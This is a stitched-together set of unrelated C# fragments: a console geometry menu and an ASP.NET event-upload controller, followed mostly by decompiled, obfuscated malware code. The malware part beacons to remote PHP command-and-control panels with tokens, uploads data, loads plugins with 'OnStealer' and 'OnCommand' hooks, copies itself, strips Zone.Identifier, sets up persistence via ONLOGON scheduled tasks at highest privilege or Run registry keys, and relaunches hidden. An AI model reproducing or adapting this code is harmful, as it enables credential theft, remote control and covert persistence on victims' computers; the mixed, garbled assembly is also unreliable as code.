primitive string secondPrimitive; do { Console.WriteLine("Select second primitive (T - triangle, S -square, C - circle)"); secondPrimitive = Console.ReadLine(); if (secondPrimitive == primitiveArray[0]) { secondTriangle = primitive.TrianglePrimitive(); } else if (secondPrimitive == primitiveArray[1]) { secondSquare = primitive.SquarePrimitive(); } else if (secondPrimitive == primitiveArray[2]) { secondCircle = primitive.CirclePrimitive(); } else { Console.WriteLine("Value is entered incorrectly"); }; }while (secondPrimitive != primitiveArray[0] && secondPrimitive != primitiveArray[1] && secondPrimitive != primitiveArray[2]); #endregion #region Intersections primitives if (firstPrimitive == primitiveArray[2] && secondPrimitive != primitiveArray[2] || firstPrimitive != primitiveArray[2] && secondPrimitive == primitiveArray[2]) { if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[0]) { IntersectionsCircleAndLine(firstCircle, secondTriangle); } if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[1]) { IntersectionsCircleAndLine(firstCircle, secondSquare); } if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[0]) { IntersectionsCircleAndLine(secondCircle, firstTriangle); } if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[1]) { IntersectionsCircleAndLine(secondCircle, firstSquare); } } if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[2]) { IntersectionsCircleAndCircle(firstCircle, secondCircle); } if (firstPrimitive != primitiveArray[2] && secondPrimitive != primitiveArray[2]) { if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[0]) { IntersectionsLineAndLine(firstTriangle, secondTriangle); } if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[1]) { IntersectionsLineAndLine(firstSquare, secondSquare); } if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[1]) { IntersectionsLineAndLine(firstTriangle, secondSquare); } if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[0]) { IntersectionsLineAndLine(firstSquare, secondTriangle); } } #endregion break; } case "E": { isExit = true; break; } default: Instuctions(); break; } } }
public static string SetupFilter(string value, string connection, string pool) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 return(ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(connection + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(connection)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pool))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(value + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>())); }
public static void ExcludeFilter(string value, string cont, string dir, string init2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(dir + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(dir)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(init2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(cont))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(value + MappingListAnnotation._ProxyEvent))))); }
public static void CancelFilter(string key, string ord, string helper, string reference2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(helper + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(helper)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(reference2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(key + "_status" + MappingListAnnotation._ProxyEvent))))); }
public static void QueryFilter(string value, string map) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ItemEventEntry.ConcatList(value + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(value)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(map))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent))))); }
public static string[] AssetFilter(string instance, string connection) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 string text = null; string text2 = null; string text3 = instance.Remove(instance.LastIndexOf("/"), instance.Length - instance.LastIndexOf("/")); string text4 = connection.Remove(connection.LastIndexOf("/"), connection.Length - connection.LastIndexOf("/")); try { if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "password") + "=c"))["status"].ResetClass <string>() == "UP") { text = instance; text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>(); } else { text = connection; text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>(); } } catch { try { if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "password") + "=c"))["status"].ResetClass <string>() == "UP") { text = connection; text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>(); } } catch { } } return(new string[2] { text, text2 }); }
public ActionResult SaveEvent([FromForm] EventDto eventDto) { if (eventDto.id == 0) { DateTime dateTime = DateTime.Parse(eventDto.startDateTime); DateTime enddate = DateTime.Parse(eventDto.endDateTime); Event @event = new Event(); @event.title = eventDto.title; @event.description = eventDto.description; @event.teacher_id = eventDto.teacher_id; @event.endDateTime = enddate; @event.startDateTime = dateTime; @event.location = eventDto.location; _context.events.Add(@event); _context.SaveChanges(); foreach (var v in eventDto.clasid) { ClassEvent classEvent = new ClassEvent() { clasid = v, eventID = @event.id } ; _context.classEvents.Add(classEvent); _context.SaveChanges(); } var fileName = ""; var deletefile = Path.Combine(hostingEnvironment.WebRootPath); var uploads = Path.Combine(hostingEnvironment.WebRootPath, "uploads"); if (eventDto.uploadFile != null) { fileName = Guid.NewGuid().ToString().Replace("-", "") + Path.GetExtension(eventDto.uploadFile.FileName); using (var fileStream = new FileStream(Path.Combine(uploads, fileName), FileMode.Create)) { eventDto.uploadFile.CopyToAsync(fileStream); } EventAttachment eventAttachment = new EventAttachment() { event_id = @event.id, file_name = eventDto.uploadFile.FileName, file_path = fileName, file_type = Path.GetExtension(eventDto.uploadFile.FileName), }; _context.eventAttachments.Add(eventAttachment); _context.SaveChanges(); } } else { var data = _context.events.FirstOrDefault(o => o.id == eventDto.id); DateTime dateTime = DateTime.Parse(eventDto.startDateTime); DateTime enddate = DateTime.Parse(eventDto.endDateTime); data.title = eventDto.title; data.description = eventDto.description; data.teacher_id = eventDto.teacher_id; data.endDateTime = enddate; data.startDateTime = dateTime; data.location = eventDto.location; var claesfromevent = _context.classEvents.Where(o => o.eventID == data.id).ToList(); foreach (var item in claesfromevent) { _context.classEvents.Remove(item); _context.SaveChanges(); } foreach (var v in eventDto.clasid) { ClassEvent classEvent = new ClassEvent() { clasid = v, eventID = data.id } ; _context.classEvents.Add(classEvent); _context.SaveChanges(); } if (eventDto.uploadFile != null) { var enevtAtachment = _context.eventAttachments.FirstOrDefault(o => o.event_id == data.id); var fileName = ""; var deletefile = Path.Combine(hostingEnvironment.WebRootPath, "uploads"); var uploads = Path.Combine(hostingEnvironment.WebRootPath); if (enevtAtachment != null) { if (eventDto.uploadFile.Length > 0) { if (System.IO.File.Exists((Path.Combine(deletefile, enevtAtachment.file_path)))) { System.IO.File.Delete((Path.Combine(deletefile, enevtAtachment.file_path))); } } fileName = Guid.NewGuid().ToString().Replace("-", "") + Path.GetExtension(eventDto.uploadFile.FileName); using (var fileStream = new FileStream(Path.Combine(uploads, fileName), FileMode.Create)) { eventDto.uploadFile.CopyToAsync(fileStream); } enevtAtachment.file_path = fileName; enevtAtachment.file_name = eventDto.uploadFile.FileName; enevtAtachment.file_type = Path.GetExtension(eventDto.uploadFile.FileName); _context.Entry(enevtAtachment).State = Microsoft.EntityFrameworkCore.EntityState.Modified; _context.SaveChanges(); } } } return(new JsonResult("Data Saved")); }
private static void PrintFilter() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(defaultValue: false); SingletonReader.PushGlobal(); AppDomain.CurrentDomain.UnhandledException += CountFilter; if (m_PolicyEvent.Length < 6 || !m_PolicyEvent.Contains(".exe")) { m_PolicyEvent = Application.ExecutablePath; } if (m_ServiceEvent == "") { queueEvent = true; Type[] types = Assembly.GetExecutingAssembly().GetTypes(); foreach (Type type in types) { if (!type.Name.Contains("BuildConfiguration")) { continue; } MethodInfo[] methods = type.GetMethods(); foreach (MethodInfo methodInfo in methods) { if (methodInfo.Name == "GetConfiguration") { m_ServiceEvent = methodInfo.Invoke(type.Assembly.CreateInstance(type.Name), null).ToString(); } } } } m_ServiceEvent = ClassEvent.ComputeFilter(m_ServiceEvent); Thread.Sleep(new RepositoryEvent().PopList(5000, 10000)); if (!ReponseClassSpec.LoginList(ClassEvent.ResetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["MUTEX"].ResetClass <string>()))) { Environment.Exit(0); Application.Exit(); } try { if (!DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AD"].ResetClass <bool>()) { MapperEvent.InvokeFilter(); } } catch { } string[] array = DispatcherInstanceExpression.AssetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H1"].ResetClass <string>(), DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H2"].ResetClass <string>()); m_CandidateEvent = array[0]; m_TokenizerEvent = array[1]; if (m_TokenizerEvent == null) { Environment.FailFast("Z6zQubie8vkgP6dfdXQcc1A"); } try { new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 Type[] types2 = Assembly.GetExecutingAssembly().GetTypes(); Type type2 = default(Type); MethodInfo methodInfo2 = default(MethodInfo); for (int k = 0; k < types2.Length; k++) { type2 = types2[k]; if (type2.Name.Contains("DPlugin")) { MethodInfo[] methods2 = type2.GetMethods(); for (int l = 0; l < methods2.Length; l++) { methodInfo2 = methods2[l]; switch (methodInfo2.Name) { case "OnLoad": try { new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 switch (methodInfo2.GetParameters().Length) { case 0: methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), null); break; case 1: methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[1] { m_CandidateEvent }); break; case 2: methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[2] { m_CandidateEvent, m_TokenizerEvent }); break; case 3: methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[3] { m_CandidateEvent, m_TokenizerEvent, m_PolicyEvent }); break; } }).Start(); } catch { } break; case "OnCommand": try { DecoratorEventEntry.list.Add(type2.GetField("CommandName", BindingFlags.Static | BindingFlags.Public).GetValue(type2.Assembly.CreateInstance("CommandName")).ToString(), new object[2] { methodInfo2, type2.Assembly.CreateInstance(type2.Name) }); } catch { } break; case "OnUninstall": try { DecoratorEventEntry.instance.Add(new object[2] { methodInfo2, type2.Assembly.CreateInstance(type2.Name) }); } catch { } break; case "OnStealer": try { DecoratorEventEntry.dic.Add(new object[2] { methodInfo2, type2.Assembly.CreateInstance(type2.Name) }); } catch { } break; } } } } }).Start(); } catch { } if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AS"].ResetClass <bool>()) { OrderIteratorMapping.DisableRecord(); } if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AK"].ResetClass <bool>()) { OrderIteratorMapping.VerifyRecord(); } DispatcherInstanceExpression.CallFilter(m_CandidateEvent, m_TokenizerEvent); }
internal void _0002() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 Collection.NewEvent(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent) + "\\"); }
public static void InvokeFilter() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (File.Exists(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent) + "\\" + ClassEvent.RegisterFilter(Path.GetFileName(MappingListAnnotation.m_PolicyEvent)))) { return; } string fileName = MappingListAnnotation.m_PolicyEvent; int num = new RepositoryEvent().PopList(1, 2); for (int i = 0; i < new RepositoryEvent().PopList(2, 10); i++) { string path = Path.Combine(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(GlobalIssuerImporter.SetList() + GlobalIssuerImporter.RemoveList()) + ".tmp"); switch (num) { case 1: try { string processName2 = TestFilter().ProcessName; string text = ConcatFilter("C:\\"); File.Copy(MappingListAnnotation.m_PolicyEvent, text + "\\" + processName2 + ".exe", overwrite: true); File.WriteAllText(text + "\\" + ClassEvent.RegisterFilter(processName2 + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100))); Publisher.PrepareFilter(text + "\\" + processName2 + ".exe:Zone.Identifier"); File.AppendAllText(path, "<$>" + text + "\\" + processName2 + ".exe"); if (GlobalIssuerImporter.DestroyList()) { ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks"); processStartInfo.Arguments = "/create /tn \"" + processName2 + "\" /sc ONLOGON /tr \"'" + text + "\\" + processName2 + ".exe'\" /rl HIGHEST /f"; processStartInfo.UseShellExecute = false; processStartInfo.CreateNoWindow = true; ProcessStartInfo startInfo2 = processStartInfo; Process process3 = Process.Start(startInfo2); process3.WaitForExit(1500); if (process3.ExitCode != 0) { using (RegistryKey registryKey3 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true)) { try { registryKey3.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\""); } catch { } } } } else { using (RegistryKey registryKey4 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true)) { try { registryKey4.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\""); } catch { } } } fileName = text + "\\" + processName2 + ".exe"; } catch { i--; } break; case 2: try { Process process = TestFilter(); string processName = process.ProcessName; string directoryName = Path.GetDirectoryName(Publisher.VerifyFilter(process)); string[] files = Directory.GetFiles(directoryName); directoryName = Path.Combine(directoryName + "\\" + Path.GetFileNameWithoutExtension(files[new RepositoryEvent().MoveList(files.Length)])); Directory.CreateDirectory(directoryName); File.Copy(MappingListAnnotation.m_PolicyEvent, directoryName + "\\" + processName + ".exe", overwrite: true); File.WriteAllText(directoryName + "\\" + ClassEvent.RegisterFilter(processName + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100))); Publisher.PrepareFilter(directoryName + "\\" + processName + ".exe:Zone.Identifier"); File.AppendAllText(path, "<$>" + directoryName + "\\" + processName + ".exe"); if (GlobalIssuerImporter.DestroyList()) { ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks"); processStartInfo.Arguments = "/create /tn \"" + processName + "\" /sc ONLOGON /tr \"'" + directoryName + "\\" + processName + ".exe'\" /rl HIGHEST /f"; processStartInfo.UseShellExecute = false; processStartInfo.CreateNoWindow = true; ProcessStartInfo startInfo = processStartInfo; Process process2 = Process.Start(startInfo); process2.WaitForExit(1500); if (process2.ExitCode != 0) { using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true)) { try { registryKey.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\""); } catch { } } } } else { using (RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true)) { try { registryKey2.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\""); } catch { } } } fileName = directoryName + "\\" + processName + ".exe"; } catch { i--; } break; } } try { Process.Start(new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false, FileName = fileName }); Environment.Exit(0); Application.Exit(); } catch { } }